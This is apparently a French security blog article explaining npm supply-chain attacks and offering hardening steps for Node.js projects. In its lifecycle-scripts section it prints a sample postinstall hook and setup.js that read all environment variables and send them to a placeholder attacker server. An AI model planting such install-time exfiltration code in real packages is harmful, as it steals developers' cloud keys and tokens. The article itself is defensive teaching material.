Attaques de la chaîne d’approvisionnement NPM : comment elles fonctionnent et comment se protéger avec Node.js
Explique comment fonctionnent les attaques sur la chaîne d’approvisionnement de npm telles que les prises de contrôle de comptes, le typosquatting et la confusion des dépendances, ainsi que des étapes concrètes pour renforcer les installations de Node.js.
Lorsque vous exécutez npm install express, vous téléchargez bien plus qu’une simple bibliothèque de routage. Cet unique commandement cache des centaines de paquets imbriqués créés par des personnes avec qui vous n’avez jamais eu de contact et que vous n’aurez probablement jamais.
La plupart des ingénieurs considèrent les gestionnaires de paquets comme un outil neutre : vous demandez une utilité, elle est téléchargée, et vous reprenez votre travail. Mais cette hypothèse ne tient plus dans le monde JavaScript. Aujourd’hui, les attaquants se donnent rarement la peine de forcer un pare-feu d’entreprise ou de reverse-engineer un flux de connexion en production. Il est bien plus simple d’introduire du code malveillant dans une dépendance sur laquelle votre équipe compte déjà et en qui elle a une confiance absolue.
npm install n’est plus une simple opération de téléchargement et de stockage. C’est en réalité une exécution arbitraire de code — sur votre ordinateur portable, au sein de votre pipeline CI/CD, et finalement sur votre infrastructure en production.
Qu’est-ce qu’une attaque sur la chaîne d’approvisionnement en Node.js ?
Les problèmes classiques de sécurité web concernent des failles telles que l’injection SQL ou le scripting côté client, qui sont des bugs intégrés directement dans l’application que vous développez.
Une attaque sur la chaîne d’approvisionnement logicielle fonctionne différemment. Votre propre base de code peut être irréprochable, respectant toutes les meilleures pratiques connues. Cependant, si un paquet tiers dont vous dépendez a été modifié, ce code parfait repose sur une base compromise, et tout le système est alors en danger.
Ce type d’attaque vise les mécanismes utilisés pour construire et distribuer votre logiciel, et non le logiciel lui-même. Dans le monde de Node.js, ces mécanismes incluent :
- Les paquets open source hébergés sur le registre npm
- Les dépendances transitives — les paquets dont dépendent vos propres dépendances directes
- Les scripts qui s’exécutent automatiquement lors de l’installation
Si l’un quelconque des maillons de cette chaîne est compromis, chaque projet suivant héritera du payload malveillant la prochaine fois qu’il sera installé.
Comment les attaquants exploitent npm : trois modèles concrets
Ces attaques ne sont pas aléatoires. Elles reposent sur des comportements structurels prévisibles de l’écosystème npm. Voici les trois modèles d’attaques que vous risquez le plus de rencontrer.
1. Prise de contrôle des comptes et mainteneurs compromis
De nombreux paquets npm largement utilisés sont maintenus par des volontaires non rémunérés qui travaillent dans leur temps libre. Les attaquants en sont bien conscients et, plutôt que d’attaquer le code source, ils ciblent la personne qui le publie.
Les méthodes typiques incluent :
- Insérement de identifiants volés : utilisation de combinaisons de noms d’utilisateur et de mots de passe divulgués contre des comptes npm ne disposant pas d’authentification à plusieurs facteurs.
- Phishing : usurpation de l’identité de l’équipe de sécurité npm par courriel afin d’amener les mainteneurs à divulguer leurs identifiants d’accès.
- Demandes de fusion de type Trojan : contribution sur une longue période de correctifs petits mais réellement utiles pour gagner la confiance et obtenir des droits de modification, puis insertion d’une porte dérobée cachée une fois cette confiance acquise.
Lorsque l’accès à la publication est obtenu, l’attaquant diffuse une mise à jour ayant l’air ordinaire — par exemple de 2.1.4 à 2.1.5. Comme de nombreux fichiers package.json utilisent des plages de version du type ^2.1.4, les builds automatisés partout dans le monde adoptent la version contaminée sans que personne ne s’en aperçoive.
2. Typosquatting et confusion des marques
Le typosquatting profite des erreurs humaines simples. Un attaquant enregistre un nom de package qui est visuellement ou textuellement presque indiscernable d’une bibliothèque bien connue.
Quelques exemples illustratifs :
- Package légitime :
cross-env - Version frauduleuse similaire :
crossenv - Package légitime :
colors - Version frauduleuse similaire :
colour
En saisissant le mauvais nom lors de l’exécution de npm i <package>, vous installez à la place la version de l’attaquant. Ces packages imposteurs reproduisent fréquemment l’API réelle de manière presque identique, si bien que votre suite de tests continue de fonctionner normalement tandis qu’un comportement malveillant se déroule en arrière-plan.
3. Confusion des dépendances
Les entreprises gèrent souvent des packages internes privés — tels que @company/auth-client ou company-auth.
Si le registre interne est mal configuré, le client npm peut finir par consulter le registre public avant d’examiner le registre privé lorsqu’il doit résoudre ce nom de package interne. Les attaquants exploitent cela en parcourant les dépôts publics et la documentation à la recherche d’indices concernant ces noms de packages privés, puis en publiant des packages sous ces mêmes noms sur le registre npm public, leur attribuant un numéro de version extrêmement élevé comme 99.9.9.
Lorsque votre processus de construction s’exécute, npm compare les versions, constate que la version du package public est plus élevée, et installe le code de l’attaquant à la place de votre module interne légitime.
Que se passe-t-il en coulisses : le danger des scripts de cycle de vie
Pourquoi l’installation d’un simple package comporte-t-elle autant de risques ? Pourquoi un code malveillant s’exécuterait-il avant même que votre application n’appelle require() ou import sur cette bibliothèque ?
Le mécanisme en cause sont les scripts de cycle de vie.
Dans package.json, npm prend en charge des commandes de shell qui s’exécutent automatiquement à des étapes spécifiques de l’installation. Les plus dangereux parmi ces hooks sont preinstall, install et postinstall.
Voici un package.json apparemment inoffensif appartenant à une dépendance compromise :
{
"name": "useful-string-helper",
"version": "1.0.1",
"scripts": {
"postinstall": "node ./setup.js"
}
}
La description pourrait indiquer que setup.js compile un binaire natif ou prépare des fichiers de configuration locaux. En réalité, setup.js peut contenir quelque chose de plus proche de ceci :
// setup.js (Runs automatically during npm install)
const { exec } = require("child_process");
const https = require("https");
// Read environment variables (AWS keys, database passwords, tokens)
const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
const req = https.request({
hostname: "attacker-controlled-server.com",
port: 443,
path: "/collect",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": sensitiveData.length
}
});req.write(sensitiveData);
req.end();
Voici ce qui s’est réellement produit :
- npm install useful-string-helper.
- npm a immédiatement exécuté
node ./setup.js. - Vos variables d’environnement locales — comme
AWS_SECRET_ACCESS_KEY,DATABASE_URLouNPM_TOKEN— ont été extraites directement de la mémoire du système. - Ces informations secrètes ont été transmises via HTTPS vers un serveur contrôlé par l’attaquant.
Remarquez qu’aucune de ces étapes n’a nécessité d’importer le paquet ou de lancer votre application. Le simple fait d’exécuter npm install, que ce soit sur votre propre machine ou à l’intérieur d’un exécutant CI, a suffi pour compromettre complètement vos secrets.
Protection pratique : renforcer votre flux de travail Node.js
Se passer des paquets tiers n’est pas réaliste. Tout l’écosystème du développement moderne est construit à partir de composants open source. Ce que vous pouvez contrôler, en revanche, c’est la manière dont vous intégrez ces dépendances dans votre projet.
1. Désactiver les scripts d’installation par défaut
Sauf si un paquet a réellement besoin d’exécuter un script personnalisé lors de son installation, désactivez cette fonctionnalité :
npm install --ignore-scripts
Pour appliquer cette règle à l’ensemble du projet sans devoir la saisir à chaque fois, ajoutez un fichier .npmrc dans la racine de votre répertoire de dépôt :
# .npmrc
ignore-scripts=true
Si un paquet a effectivement besoin d’une compilation native — comme un pilote de base de données ou une bibliothèque de traitement d’images, par exemple — vous pouvez toujours déclencher manuellement son étape de construction, ou autoriser sélectivement certains paquets via les systèmes de plugins proposés par des gestionnaires de paquets tels que pnpm ou yarn.
2. Verrouillez strictement vos dépendances
Vérifiez que un fichier de verrouillage fasse toujours partie de ce que vous intégrez dans le contrôle de version, qu’il s’agisse de package-lock.json, pnpm-lock.yaml ou yarn.lock, en fonction de l’outil que vous utilisez.
Dans les pipelines CI/CD, utilisez toujours :
npm ci
Évitez d’exécuter une simple commande npm install lors du déploiement. npm ci se conforme strictement au contenu de package-lock.json et supprime d’abord tout dossier node_modules existant, ce qui empêche les versions de monter silencieusement.
3. Protégez les secrets de votre environnement
Évitez autant que possible de conserver des identifiants de production sous forme de texte brut dans des fichiers .env sur votre ordinateur portable. Les machines des développeurs sont des cibles attrayantes car elles disposent généralement d’un contrôle de sécurité moins strict que l’infrastructure cloud, tout en contenant des clés valables pour les bases de données de production et les comptes cloud.
- Préférez des identifiants à durée de vie courte, tels que ceux émis via AWS IAM Identity Center ou des systèmes de jetons temporaires similaires.
.bashrc ou .zshrc.4. Utilisez des outils de scan automatisés
Aucun scanner ne parvient à détecter tout, mais les outils automatisés sont rapides pour identifier les paquets déjà connus comme malveillants ou vulnérables.
- Rendez régulièrement des appels à
npm auditafin de repérer les paquets présentant des CVE connus. - Intégrez un service comme Socket.dev, Snyk ou Dependabot de GitHub comme vérification obligatoire pour chaque demande de fusion.
- Socket.dev, par exemple, analyse ce qu’un paquet fait réellement en arrière-plan — des communications réseau, des écritures sur le disque, l’exécution de commandes shell — avant même qu’il ne soit intégré à votre projet.
L’équilibre : sécurité vs. vitesse de développement
Aucune de ces mesures de renforcement n’est gratuite.
Activer ignore-scripts=true peut endommager des paquets qui dépendent de bindings natifs en C++, tels que bcrypt ou sharp. Lorsque cela se produit, quelqu’un dans l’équipe doit consacrer du temps à diagnostiquer l’échec de la compilation ou à configurer manuellement l’étape de compilation.
De même, fixer la version de chaque dépendance signifie que les correctifs de bugs ne parviendront pas automatiquement à votre projet. Vous devez allouer régulièrement du temps — hebdomadairement ou par sprint — pour tester et mettre à jour délibérément les dépendances, plutôt que de les laisser s’actualiser seules.
Pour un petit projet secondaire, ce niveau de discipline peut sembler être une friction inutile. Mais dès qu’une application commence à manipuler des données de clients, des détails de facturation ou l’infrastructure de production, cette même friction devient le principal obstacle entre vous et un compromis silencieux.
Liste de contrôle récapitulative pour les développeurs Node.js
- Considérez
npm installcomme une exécution de code : chaque package que vous ajoutez s’exécute avec les mêmes permissions que votre propre compte utilisateur. - Remettez en question les nouvelles additions : demandez-vous si vous avez vraiment besoin d’un package complet pour ce qui n’est peut-être qu’une fonction d’aide de dix lignes.
- Désactivez les scripts lorsque c’est possible : définissez
ignore-scripts=truedans.npmrcpour neutraliser la plupart des attaques liées au style après l’installation. - Communiquez toujours le fichier de verrouillage : maintenez
package-lock.jsonà jour et exigez l’exécution denpm cilors de chaque exécution CI/CD. - Vérifiez les droits d’accès : restreignez ce à quoi votre shell local et vos exécutants CI ont réellement accès.
L’écosystème de JavaScript offre aux développeurs une vitesse et une flexibilité considérables. Gérer soigneusement ses dépendances est essentiel pour éviter que cette vitesse ne détériore progressivement l’intégrité de vos systèmes.
Lectures complémentaires
- Corriger les erreurs de gestion des exceptions avec Async/Await dans le code en production Node.js — Découvrez cinq erreurs fréquentes liées à la gestion des exceptions avec async/await en JavaScript et Node.js qui provoquent des échecs silencieux et des conditions de concurrence, ainsi que des solutions concrètes.
- Guide de configuration React + Vite (2026) : Création de votre première application fonctionnelle, expliquée pas à pas — Suivez les étapes pour installer Node.js, npm, VS Code et Vite afin de créer une application React, tout en comprenant la fonction réelle de chaque outil.